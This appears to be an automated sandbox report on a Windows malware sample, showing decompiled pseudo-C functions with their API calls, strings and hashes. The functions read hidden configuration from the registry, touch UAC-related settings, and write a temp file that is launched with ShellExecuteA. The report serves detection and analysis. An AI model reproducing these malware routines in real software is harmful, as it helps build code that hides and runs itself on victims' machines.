C-Code - Quality: 100%

			E0040E3CA(void* __edx, void* _a4, char* _a8, intOrPtr* _a12) {
				int* _v8;
				int _v12;
				void* _v16;
				intOrPtr _v20;
				int _v24;
				int _v28;
				int _v32;
				int* _v36;
				char _v68;
				intOrPtr* _t52;
				int _t69;
				int _t78;
				intOrPtr _t80;
				void* _t82;
				void* _t84;
				void* _t85;
				int _t89;
				void* _t91;
				void* _t92;
				void* _t93;

				_t82 = __edx;
				_v36 = 0;
				if(RegOpenKeyExA(_a4, _a8, 0, 0x20119,  &_v16) != 0) {
					L16:
					return _v36;
				}
				_t52 = _a12;
				_t89 = 0;
				_t6 = _t52 + 1; // 0x4128f9
				_t84 = _t6;
				do {
					_t80 =  *_t52;
					_t52 = _t52 + 1;
				} while (_t80 != 0);
				_t85 = _t52 - _t84;
				_v8 = 0;
				if(_t85 > 0x1c) {
					_t85 = 0x1c;
				}
				E0040EE08( &_v68, _a12, _t85);
				_t56 = _t91 + _t85 - 0x40;
				_v12 = 0;
				_v20 = _t91 + _t85 - 0x40;
				E0040F1ED(0, _t56, 0xa);
				_t93 = _t92 + 0x18;
				if(RegQueryValueExA(_v16,  &_v68, 0,  &_v24, 0,  &_v12) != 0) {
					L15:
					RegCloseKey(_v16);
					goto L16;
				} else {
					do {
						_t89 = _t89 + _v12;
						_v8 = _v8 + 1;
						_v12 = 0;
						E0040F1ED(_v8, _v20, 0xa);
						_t93 = _t93 + 0xc;
					} while (RegQueryValueExA(_v16,  &_v68, 0,  &_v24, 0,  &_v12) == 0);
					if(_t89 <= 0) {
						goto L15;
					}
					_v32 = _t89;
					E0040DB2E(_t89);
					_t69 =  *0x4136c4;
					if(_t69 == 0) {
						goto L15;
					}
					_v12 = _t69;
					_v8 = 0;
					while(1) {
						_v28 = _t89;
						E0040F1ED(_v8, _v20, 0xa);
						_t93 = _t93 + 0xc;
						if(RegQueryValueExA(_v16,  &_v68, 0,  &_v24, _v12,  &_v28) != 0) {
							break;
						}
						_t78 = _v28;
						if(_t78 == 0) {
							break;
						}
						_v12 =  &(_v12[_t78]);
						_t89 = _t89 - _t78;
						_v8 = _v8 + 1;
						if(_t89 > 0) {
							continue;
						}
						break;
					}
					_t106 = _t89;
					if(_t89 == 0) {
						E00402544( *0x4136c4,  *0x4136c4, _v32, 0xe4, 0xc8);
						E0040E332(_t82, _t106,  *0x4136c4, _v32);
						_v36 = 1;
					}
					goto L15;
				}
			}

0x0040e3ca
0x0040e3e0
0x0040e3ee
0x0040e528
0x0040e52d
0x0040e52d
0x0040e3f4
0x0040e3f9
0x0040e3fb
0x0040e3fb
0x0040e3fe
0x0040e3fe
0x0040e400
0x0040e401
0x0040e407
0x0040e409
0x0040e40f
0x0040e413
0x0040e413
0x0040e41c
0x0040e421
0x0040e429
0x0040e42c
0x0040e42f
0x0040e43a
0x0040e452
0x0040e51d
0x0040e520
0x00000000
0x0040e458
0x0040e458
0x0040e458
0x0040e45b
0x0040e463
0x0040e469
0x0040e46e
0x0040e484
0x0040e48a
0x00000000
0x00000000
0x0040e491
0x0040e494
0x0040e499
0x0040e4a1
0x00000000
0x00000000
0x0040e4a3
0x0040e4a6
0x0040e4a9
0x0040e4ae
0x0040e4b4
0x0040e4b9
0x0040e4d3
0x00000000
0x00000000
0x0040e4d5
0x0040e4da
0x00000000
0x00000000
0x0040e4dc
0x0040e4df
0x0040e4e1
0x0040e4e6
0x00000000
0x00000000
0x00000000
0x0040e4e6
0x0040e4e8
0x0040e4ea
0x0040e500
0x0040e50e
0x0040e516
0x0040e516
0x00000000
0x0040e4ea

APIs

RegOpenKeyExA.ADVAPI32(80000001,0040E5F2,00000000,00020119,0040E5F2,PromptOnSecureDesktop), ref: 0040E3E6
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,00000000,80000001,?,?,?,?,000000C8,000000E4), ref: 0040E44E
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,00000000,80000001,?,?,?,?,?,?,?,000000C8,000000E4), ref: 0040E482
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,80000001,?), ref: 0040E4CF
RegCloseKey.ADVAPI32(0040E5F2,?,?,?,?,000000C8,000000E4), ref: 0040E520

Strings

PromptOnSecureDesktop, xrefs: 0040E3D0

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: QueryValue$CloseOpen
String ID: PromptOnSecureDesktop
API String ID: 1586453840-2980165447
Opcode ID: 96b5502ffefbdc47b4edc0ebbfe0d981e6494a64c9537075afff34bfb6ee153b
Instruction ID: f21eb42f94b351107ce6bcf9928d909f9cde6c0f887f3b022360bbb50f243882
Opcode Fuzzy Hash: 96b5502ffefbdc47b4edc0ebbfe0d981e6494a64c9537075afff34bfb6ee153b
Instruction Fuzzy Hash: D94106B2D00219BFDF119FD5DC81DEEBBB9EB08308F14487AE910B2291E3359A559B64

Uniqueness

Uniqueness Score: -1.00%

Function 00404280, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404280(void* __ecx, intOrPtr _a4) {
				void* _v8;
				unsigned int _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				char _v28;
				signed int _t35;
				signed int _t38;
				signed int _t40;
				void* _t67;
				void* _t68;
				void* _t73;
				intOrPtr* _t74;

				_t68 = __ecx;
				_t35 = CreateEventA(0, 1, 1, 0);
				_v8 = _t35;
				if(_t35 != 0) {
					_t38 = E00404000(E00403ECD(_t68),  &_v20);
					if(_t38 == 0) {
						L11:
						_t40 = CloseHandle(_v8) | 0xffffffff;
						L12:
						return _t40;
					}
					_t67 = _v20;
					_t40 = _t38 | 0xffffffff;
					if(_t67 == _t40) {
						goto L12;
					}
					_v16 = E0040ECA5();
					E00403F18(_t67,  &_v16, 4, _v8, 0x7d0);
					if(E00403F8C(_t67,  &_v12, 4, _v8, 0x7d0) == 0 || _v12 != (_v16 >> 2) + _v16) {
						CloseHandle(_t67);
						goto L11;
					} else {
						_v12 = _v12 + (_v12 >> 2);
						E00403F18(_t67,  &_v12, 4, _v8, 0x7d0);
						_v28 = 1;
						_t73 = 0xc;
						_v24 = 1;
						E00403F18(_t67,  &_v28, 8, _v8, 0x7d0);
						_t74 = E0040EBCC(_t73);
						 *_t74 = 0x5e;
						 *((intOrPtr*)(_t74 + 4)) = 2;
						if(_a4 != 0) {
							 *(_t74 + 8) =  *(_t74 + 8) & 0x00000000;
							 *0x41215a =  *0x41215a + 1;
						} else {
							 *(_t74 + 8) = 1;
						}
						E00403F18(_t67, _t74, _v24, _v8, 0x7d0);
						E0040EC2E(_t74);
						E00403F8C(_t67,  &_v12, 4, _v8, 0x7d0);
						CloseHandle(_v8);
						CloseHandle(_t67);
						_t40 = 0 | _a4 == 0x00000000;
						goto L12;
					}
				}
				return _t35 | 0xffffffff;
			}

0x00404280
0x00404290
0x00404296
0x0040429b
0x004042b1
0x004042ba
0x004043c1
0x004043ca
0x004043cd
0x00000000
0x004043ce
0x004042c0
0x004042c3
0x004042c8
0x00000000
0x00000000
0x004042dc
0x004042e6
0x00404300
0x004043bb
0x00000000
0x00404318
0x00404322
0x0040432c
0x00404333
0x00404336
0x00404342
0x00404345
0x00404350
0x00404359
0x0040435f
0x00404366
0x00404371
0x00404375
0x00404368
0x00404368
0x00404368
0x00404384
0x0040438a
0x0040439a
0x004043ab
0x004043ae
0x004043b5
0x00000000
0x004043b5
0x00404300
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,00000000,?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 00404290
CloseHandle.KERNEL32(0040A3C7), ref: 004043AB
CloseHandle.KERNEL32(00000001), ref: 004043AE

Strings

PromptOnSecureDesktop, xrefs: 004042A9

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseHandle$CreateEvent
String ID: PromptOnSecureDesktop
API String ID: 1371578007-2980165447
Opcode ID: 0dd57ba844ed6ccee3cc7ff792ca289a65d044fd43fa66271c948426b094db86
Instruction ID: 580dd723e2696739ab8c529274da47b2bc3b4765397f1bbb4cd5042057411b76
Opcode Fuzzy Hash: 0dd57ba844ed6ccee3cc7ff792ca289a65d044fd43fa66271c948426b094db86
Instruction Fuzzy Hash: F94181B1900209BADB109BA2CD45F9FBFBCEF40355F104566F614B21C1D7789A51DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00409145, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409145(void* __eflags) {
				char _v264;
				char _v1288;
				char* _t13;
				void* _t20;
				void* _t23;
				void* _t29;

				_t29 = __eflags;
				GetModuleFileNameA(GetModuleHandleA(0),  &_v264, 0x104);
				CharToOemA( &_v264,  &_v264);
				_t13 =  &_v264;
				_push(_t13);
				_push(_t13);
				wsprintfA( &_v1288, E00402544(0x4122f8,  &E004107A8, 0x66, 0xe4, 0xc8));
				E0040EE2A(_t23, 0x4122f8, 0, 0x100);
				_t20 = E00409064(_t29,  &_v1288,  &_v264);
				if(_t20 != 0) {
					return ShellExecuteA(0, 0,  &_v264, 0, 0, 0);
				}
				return _t20;
			}

0x00409145
0x00409166
0x00409174
0x0040917a
0x00409180
0x00409181
0x004091a9
0x004091b6
0x004091c9
0x004091d3
0x00000000
0x004091e1
0x004091ea

APIs

GetModuleHandleA.KERNEL32(00000000,?,00000104,00000100,PromptOnSecureDesktop), ref: 0040915F
GetModuleFileNameA.KERNEL32(00000000), ref: 00409166
CharToOemA.USER32 ref: 00409174
wsprintfA.USER32 ref: 004091A9

Part of subcall function 00409064: GetTempPathA.KERNEL32(00000400,?,00000000,PromptOnSecureDesktop), ref: 0040907B
Part of subcall function 00409064: wsprintfA.USER32 ref: 004090E9
Part of subcall function 00409064: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040910E
Part of subcall function 00409064: lstrlenA.KERNEL32(00000000,00000100,00000000), ref: 00409122
Part of subcall function 00409064: WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040912D
Part of subcall function 00409064: CloseHandle.KERNEL32(00000000), ref: 00409134

ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000000), ref: 004091E1

Strings

PromptOnSecureDesktop, xrefs: 0040914E, 00409193, 00409198, 004091B5

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$HandleModulewsprintf$CharCloseCreateExecuteNamePathShellTempWritelstrlen
String ID: PromptOnSecureDesktop
API String ID: 3857584221-2980165447
Opcode ID: 09fece3593a874452adad967a3182375e8d098bee851460d685ed623fa38fe6a
Instruction ID: 6acb945c628b875356ea86accac8c7b18cb61426f44bb7d0566a1afba52fbd3a
Opcode Fuzzy Hash: 09fece3593a874452adad967a3182375e8d098bee851460d685ed623fa38fe6a
Instruction Fuzzy Hash: 8F016DB69001187BD720A7619D49EDF3A7C9B85705F0000A6BB09E2080DAB89AC48F68

Uniqueness

Uniqueness Score: -1.00%

Function 0041A3EA, Relevance: 9.2, APIs: 6, Instructions: 238COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0041A3EE
__get_printf_count_output.LIBCMTD ref: 0041A3FC
_write_multi_char.LIBCMTD ref: 0041AA2B
_write_string.LIBCMTD ref: 0041AA46
_write_multi_char.LIBCMTD ref: 0041AA72

Memory Dump Source

Source File: 00000018.00000002.800737404.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: _write_multi_char$__get_printf_count_output_get_int_arg_write_string
String ID:
API String ID: 1223885382-0
Opcode ID: dff16a6954854e5175320bf43721ef7eafb442117510cd340cae607a221d21ba
Instruction ID: 3c5332c65ff6942c301332210f11ea67a3cd279f90362b600c7e8c6d782a7474
Opcode Fuzzy Hash: dff16a6954854e5175320bf43721ef7eafb442117510cd340cae607a221d21ba
Instruction Fuzzy Hash: EBA190F0A012289BDB24DF54CC95BEEB7B1AF44314F14409AE6096B282D7786ED4CF5E

Uniqueness

Uniqueness Score: -1.00%

Function 0040E8A1, Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 172
stringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040E8A1(void* __edx, char _a4, CHAR* _a8, CHAR* _a12, CHAR* _a16) {
				CHAR* _v8;
				signed int _v12;
				intOrPtr _v16;
				CHAR* _v20;
				intOrPtr _v24;
				CHAR* _v28;
				CHAR* _v32;
				intOrPtr _v36;
				char _v37;
				char _v52;
				char _v56;
				intOrPtr _t87;
				intOrPtr _t95;
				int _t126;
				void* _t136;
				void* _t138;
				CHAR* _t139;
				void* _t146;
				char _t150;
				void* _t154;
				void* _t158;
				void* _t159;

				_t146 = __edx;
				_v20 = 0;
				E0040DD05();
				_t150 = _a4;
				_t158 = E0040DD84(_t150, _a8);
				_pop(_t138);
				if(_t158 != 0) {
					L2:
					_t16 = _t158 + 0x30; // 0x30
					_v8 = E00402419(_t138, _t16,  *((intOrPtr*)(_t158 + 0x24)), _a12);
					_t21 = lstrlenA(_a12) + 1; // 0x1
					_t136 = _t21;
					_t87 = lstrlenA(_a16) + _t136 + 1;
					_v16 = _t87;
					if(_v8 == 0) {
						_t139 =  *((intOrPtr*)(_t158 + 0x24));
						_v12 = _v12 & 0x00000000;
						_v8 = _t139;
						_t152 = _t139;
					} else {
						_t126 = lstrlenA(_v8);
						_t152 = _v8 - _t136 - _t158 + 0xffffffd0;
						_v12 = _t126 + _t136 + 1;
						_t87 = _v16;
						_v8 = _v8 - _t136 - _t158 + 0xffffffd0;
					}
					if(_v12 == _t87) {
						E0040EE08(_t152 + _t158 + 0x30, _a12, _t136);
						E0040EE08(_t152 + _t136 + _t158 + 0x30, _a16, _v16 - _t136);
						_t77 = _t158 + 0x30; // 0x30
						_t95 = E004024C2(_t77,  *((intOrPtr*)(_t158 + 0x24)), 0);
						if( *((intOrPtr*)(_t158 + 0x20)) != _t95) {
							 *((intOrPtr*)(_t158 + 0x20)) = _t95;
							 *0x4136c0 = 1;
						}
					} else {
						_t41 = _t87 + 0x24; // 0x24
						_t154 = E0040EBCC( *((intOrPtr*)(_t158 + 0x24)) - _v12 + _t41);
						if(_t154 != 0) {
							_t43 = _t158 + 0xc; // 0xc
							E0040EE08(_t154, _t43,  &(_v8[0x24]));
							 *((intOrPtr*)(_t154 + 0x18)) =  *((intOrPtr*)(_t158 + 0x24)) - _v12 + _v16;
							_v20 =  &(_v8[_t154]);
							E0040EE08( &(( &(_v8[_t154]))[0x24]), _a12, _t136);
							E0040EE08( &(_v20[_t136 + 0x24]), _a16, _v16 - _t136);
							E0040EE08( &(_v20[_v16 + 0x24]),  &(( &(_v8[_v12]))[_t158 + 0x30]),  *((intOrPtr*)(_t158 + 0x24)) - _v8 - _v12);
							_t66 = _t154 + 0x24; // 0x24
							 *((intOrPtr*)(_t154 + 0x14)) = E004024C2(_t66,  *((intOrPtr*)(_t154 + 0x18)), 0);
							E0040DF4C( *((intOrPtr*)(_t158 + 0x24)) - _v8 - _v12, _t154);
							E0040EC2E(_t154);
							_v20 = 1;
						}
					}
					L10:
					E0040DD69();
					return _v20;
				}
				_v56 = _t150;
				_v28 = 0;
				_v24 = 3;
				lstrcpynA( &_v52, _a8, 0x10);
				_v37 = 0;
				_v32 = 0;
				_v36 = E004024C2( &_v20, 0, 0);
				E0040DF4C(_t146,  &_v56);
				_t158 = E0040DD84(_t150, _a8);
				_t159 = _t159 + 0x18;
				if(_t158 == 0) {
					goto L10;
				}
				goto L2;
			}

0x0040e8a1
0x0040e8ac
0x0040e8af
0x0040e8b7
0x0040e8c0
0x0040e8c3
0x0040e8c6
0x0040e917
0x0040e91a
0x0040e932
0x0040e93a
0x0040e93a
0x0040e943
0x0040e947
0x0040e94a
0x0040e96a
0x0040e96d
0x0040e971
0x0040e974
0x0040e94c
0x0040e94f
0x0040e95c
0x0040e95f
0x0040e962
0x0040e965
0x0040e965
0x0040e979
0x0040ea3a
0x0040ea4f
0x0040ea59
0x0040ea5d
0x0040ea68
0x0040ea6a
0x0040ea6d
0x0040ea6d
0x0040e97f
0x0040e985
0x0040e98f
0x0040e994
0x0040e9a1
0x0040e9a6
0x0040e9b8
0x0040e9c0
0x0040e9c7
0x0040e9dd
0x0040ea02
0x0040ea0c
0x0040ea16
0x0040ea19
0x0040ea22
0x0040ea28
0x0040ea28
0x0040e994
0x0040ea77
0x0040ea77
0x0040ea83
0x0040ea83
0x0040e8d1
0x0040e8d4
0x0040e8d7
0x0040e8de
0x0040e8ea
0x0040e8ed
0x0040e8f5
0x0040e8fc
0x0040e90a
0x0040e90c
0x0040e911
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

Part of subcall function 0040DD84: lstrcmpiA.KERNEL32(80000011,00000000,00000108,80000001,00000000,0040DE62,80000001,80000005,00000108,00000000,000000E4,00000000,?,0040E3A7,000000F0), ref: 0040DDB5

lstrcpynA.KERNEL32(?,00401E84,00000010,localcfg,?,flags_upd,?,?,?,?,?,0040EAAA,?,?), ref: 0040E8DE
lstrlenA.KERNEL32(?,localcfg,?,flags_upd,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?), ref: 0040E935
lstrlenA.KERNEL32(00000001,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?,0000000A), ref: 0040E93D
lstrlenA.KERNEL32(00000000,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?), ref: 0040E94F

Strings

flags_upd, xrefs: 0040E8A7
localcfg, xrefs: 0040E8AB

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrlen$CountCurrentExchangeInterlockedThreadTicklstrcmpilstrcpyn
String ID: flags_upd$localcfg
API String ID: 204374128-3505511081
Opcode ID: cf2139235df80962520dff9223ccf242098c3300f42a652d1d6e69795f2e2d27
Instruction ID: 4a5a107d8aad74d0ab91cd578fe54778089971c235e688b3f19fdb3cdc8cf470
Opcode Fuzzy Hash: cf2139235df80962520dff9223ccf242098c3300f42a652d1d6e69795f2e2d27
Instruction Fuzzy Hash: A5514F7290020AAFCB00EFE9C985DAEBBF9BF48308F14452EE405B3251D779EA548B54

Uniqueness

Uniqueness Score: -1.00%

Function 0041D2A6, Relevance: 9.1, APIs: 6, Instructions: 92fileCOMMON

Download Yara Rule

APIs

ReadConsoleOutputCharacterW.KERNEL32(00000000,?,00000000,?,?), ref: 0041D303
CopyFileExW.KERNEL32(00424CF4,00424CC4,00000000,00000000,00000000,00000000,?,?), ref: 0041D351
DeleteFileA.KERNEL32(00424D2C), ref: 0041D35C
TerminateProcess.KERNEL32(00000000,00000000), ref: 0041D378
GetPrivateProfileStringW.KERNEL32(00424D98,00424D78,00424D64,?,00000000,00424D48), ref: 0041D3AC
WriteFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041D3E0

Memory Dump Source

Source File: 00000018.00000002.800737404.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: File$CharacterConsoleCopyDeleteOutputPrivateProcessProfileReadStringTerminateWrite
String ID:
API String ID: 2845808712-0
Opcode ID: 392615584494819a3f469ca897201ffa39c47c513a68bb3dbaff9eac58bfbb28
Instruction ID: 60f0cc39499d01dc14473a7f578e32d4dfb743a24c65ce81ba6387527f7d67ea
Opcode Fuzzy Hash: 392615584494819a3f469ca897201ffa39c47c513a68bb3dbaff9eac58bfbb28
Instruction Fuzzy Hash: 3D313E74E40218ABDB14CF95DC46BDDB7B5FF48700F1084AAE919A7280DBB45A81CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0041D2B0, Relevance: 9.1, APIs: 6, Instructions: 91fileCOMMON

Download Yara Rule

APIs

ReadConsoleOutputCharacterW.KERNEL32(00000000,?,00000000,?,?), ref: 0041D303
CopyFileExW.KERNEL32(00424CF4,00424CC4,00000000,00000000,00000000,00000000,?,?), ref: 0041D351
DeleteFileA.KERNEL32(00424D2C), ref: 0041D35C
TerminateProcess.KERNEL32(00000000,00000000), ref: 0041D378
GetPrivateProfileStringW.KERNEL32(00424D98,00424D78,00424D64,?,00000000,00424D48), ref: 0041D3AC
WriteFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041D3E0

Memory Dump Source

Source File: 00000018.00000002.800737404.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: File$CharacterConsoleCopyDeleteOutputPrivateProcessProfileReadStringTerminateWrite
String ID:
API String ID: 2845808712-0
Opcode ID: a6cb1e48abd7411833bd353ce6f6bb52799b97d57160d7bb10a9a9265f18253f
Instruction ID: d8d47c3ebdde9db78875e2df1cdca9d476949ccbb06d7ebc29fa5f10be3fb9fd
Opcode Fuzzy Hash: a6cb1e48abd7411833bd353ce6f6bb52799b97d57160d7bb10a9a9265f18253f
Instruction Fuzzy Hash: 04313D74E40218ABDB14CF95DC46BEDB7B4FF48701F1084AAE919A7280DBB45A80CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD05, Relevance: 9.0, APIs: 6, Instructions: 34
threadsleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040DD05() {
				long _t4;
				long _t10;

				_t10 = GetTickCount();
				while(InterlockedExchange(0x4136b4, 1) != 0) {
					if(GetCurrentThreadId() !=  *0x4136b8) {
						if(GetTickCount() - _t10 >= 0x2710) {
							 *0x4136bc =  *0x4136bc & 0x00000000;
						} else {
							Sleep(0);
							continue;
						}
					}
					L7:
					_t4 = GetCurrentThreadId();
					 *0x4136bc =  *0x4136bc + 1;
					 *0x4136b8 = _t4;
					return _t4;
				}
				goto L7;
			}

0x0040dd17
0x0040dd41
0x0040dd2c
0x0040dd37
0x0040dd4c
0x0040dd39
0x0040dd3b
0x00000000
0x0040dd3b
0x0040dd37
0x0040dd53
0x0040dd53
0x0040dd59
0x0040dd62
0x0040dd68
0x0040dd68
0x00000000

APIs

GetTickCount.KERNEL32 ref: 0040DD0F
GetCurrentThreadId.KERNEL32 ref: 0040DD20
GetTickCount.KERNEL32 ref: 0040DD2E
Sleep.KERNEL32(00000000,?,73B743E0,?,00000000,0040E538,?,73B743E0,?,00000000,?,0040A445), ref: 0040DD3B
InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
GetCurrentThreadId.KERNEL32 ref: 0040DD53

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountCurrentThreadTick$ExchangeInterlockedSleep
String ID:
API String ID: 3819781495-0
Opcode ID: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction ID: 5047c4a85d7ce053583ecb6bfb553561e79882e3d1eaa06aec664d00f8baf4e0
Opcode Fuzzy Hash: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction Fuzzy Hash: 1AF0E971604204AFD7505FA5BC84BB53FA4EB48353F008077E109D22A8C77455898F2E

Uniqueness

Uniqueness Score: -1.00%

Function 004080C9, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 146
registryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004080C9(int* __ecx) {
				int _v8;
				void* _v12;
				int _v16;
				char _v20;
				char _v52;
				char _v312;
				void* _t27;
				void* _t31;
				char* _t35;
				char* _t42;
				char* _t45;
				intOrPtr* _t49;
				intOrPtr _t52;
				intOrPtr _t57;
				void* _t60;
				intOrPtr _t63;
				void* _t65;
				void* _t68;
				CHAR _t70;
				intOrPtr _t71;

				_t56 = __ecx;
				_v8 = 0;
				 *0x412c3c = 0;
				 *0x412c38 = 0;
				if(E00406EC3() != 0) {
					_t27 = E0040704C(0x410264, 0, 0,  &_v312,  &_v52);
					_t65 = _t65 + 0x14;
					if(_t27 <= 0 || _v312 == 0 || _v52 == 0) {
						goto L20;
					} else {
						_t35 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
						_t68 = _t65 + 0x14;
						if(RegOpenKeyExA(0x80000001, _t35, 0, 0x101,  &_v12) != 0) {
							L19:
							E0040EE2A(_t56, 0x4122f8, 0, 0x100);
							_t65 = _t68 + 0xc;
							goto L20;
						}
						if(RegQueryValueExA(_v12,  &_v312, 0,  &_v16, 0,  &_v8) != 0 || _v16 != 1 || _v8 <= 0) {
							L15:
							_t42 =  *0x412c3c; // 0x0
							if(_t42 == 0) {
								goto L18;
							}
							E0040EC2E(_t42);
							 *0x412c3c = 0;
							goto L17;
						} else {
							_t45 = E0040EBCC(_v8);
							_pop(_t56);
							 *0x412c3c = _t45;
							if(_t45 == 0) {
								L18:
								RegCloseKey(_v12);
								goto L19;
							}
							_t56 =  &_v8;
							if(RegQueryValueExA(_v12,  &_v312, 0,  &_v16, _t45,  &_v8) != 0) {
								goto L15;
							}
							_t49 =  &_v312;
							_t60 = _t49 + 1;
							do {
								_t57 =  *_t49;
								_t49 = _t49 + 1;
							} while (_t57 != 0);
							_t52 = E0040EBCC(_t49 - _t60 + 1);
							_pop(_t56);
							 *0x412c38 = _t52;
							if(_t52 == 0) {
								goto L18;
							}
							E0040EF00(_t52,  &_v312);
							L17:
							_pop(_t56);
							goto L18;
						}
					}
				} else {
					E00407EE6(_t56);
					L20:
					_t70 =  *0x4121a8; // 0x0
					if(_t70 != 0) {
						_t71 =  *0x4121a4; // 0x0
						if(_t71 == 0) {
							_t31 = E0040675C(0x4121a8,  &_v20, 0);
							_t61 = _t31;
							if(_t31 != 0) {
								_t63 = _v20;
								 *0x4122d4 = E004024C2(_t61, _t63, 0);
								 *0x4121a4 = _t63;
								E0040EC2E(_t61);
							}
						}
					}
					return 1;
				}
			}

0x004080c9
0x004080d7
0x004080da
0x004080e0
0x004080ed
0x0040810b
0x00408110
0x00408115
0x00000000
0x00408130
0x00408151
0x00408156
0x00408167
0x00408216
0x0040821d
0x00408222
0x00000000
0x00408222
0x0040818b
0x004081f7
0x004081f7
0x004081fe
0x00000000
0x00000000
0x00408201
0x00408206
0x00000000
0x00408198
0x0040819b
0x004081a0
0x004081a1
0x004081a8
0x0040820d
0x00408210
0x00000000
0x00408210
0x004081aa
0x004081c2
0x00000000
0x00000000
0x004081c4
0x004081ca
0x004081cd
0x004081cd
0x004081cf
0x004081d0
0x004081d8
0x004081dd
0x004081de
0x004081e5
0x00000000
0x00000000
0x004081ef
0x0040820c
0x0040820c
0x00000000
0x0040820c
0x0040818b
0x004080ef
0x004080ef
0x00408225
0x00408225
0x0040822b
0x0040822d
0x00408233
0x0040823f
0x00408244
0x0040824b
0x0040824d
0x00408259
0x0040825e
0x00408264
0x00408269
0x0040824b
0x00408233
0x00408273
0x00408273

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000101,?,?,?,?,73B743E0,00000000), ref: 0040815F
RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,0040A45F,?,?,00000000,00000101,?,?,?,?,73B743E0,00000000), ref: 00408187
RegQueryValueExA.ADVAPI32(?,?,00000000,00000001,00000000,0040A45F,?,?,00000000,00000101,?,?,?,?,73B743E0,00000000), ref: 004081BE
RegCloseKey.ADVAPI32(?,?,?,00000000,00000101,?,?,?,?,73B743E0,00000000), ref: 00408210

Part of subcall function 0040675C: SetFileAttributesA.KERNEL32(?,00000080,?,73B743E0,00000000), ref: 0040677E
Part of subcall function 0040675C: CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000,?,73B743E0,00000000), ref: 0040679A
Part of subcall function 0040675C: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,73B743E0,00000000), ref: 004067B0
Part of subcall function 0040675C: SetFileAttributesA.KERNEL32(?,00000002,?,73B743E0,00000000), ref: 004067BF
Part of subcall function 0040675C: GetFileSize.KERNEL32(000000FF,00000000,?,73B743E0,00000000), ref: 004067D3
Part of subcall function 0040675C: ReadFile.KERNELBASE(000000FF,?,00000040,00408244,00000000,?,73B743E0,00000000), ref: 00406807
Part of subcall function 0040675C: SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,73B743E0,00000000), ref: 0040681F
Part of subcall function 0040675C: ReadFile.KERNELBASE(000000FF,?,000000F8,?,00000000,?,73B743E0,00000000), ref: 0040683E
Part of subcall function 0040675C: SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,73B743E0,00000000), ref: 0040685C

Part of subcall function 0040EC2E: GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
Part of subcall function 0040EC2E: HeapFree.KERNEL32(00000000), ref: 0040EC48

Strings

PromptOnSecureDesktop, xrefs: 0040814B, 00408150, 0040821C

Memory Dump Source

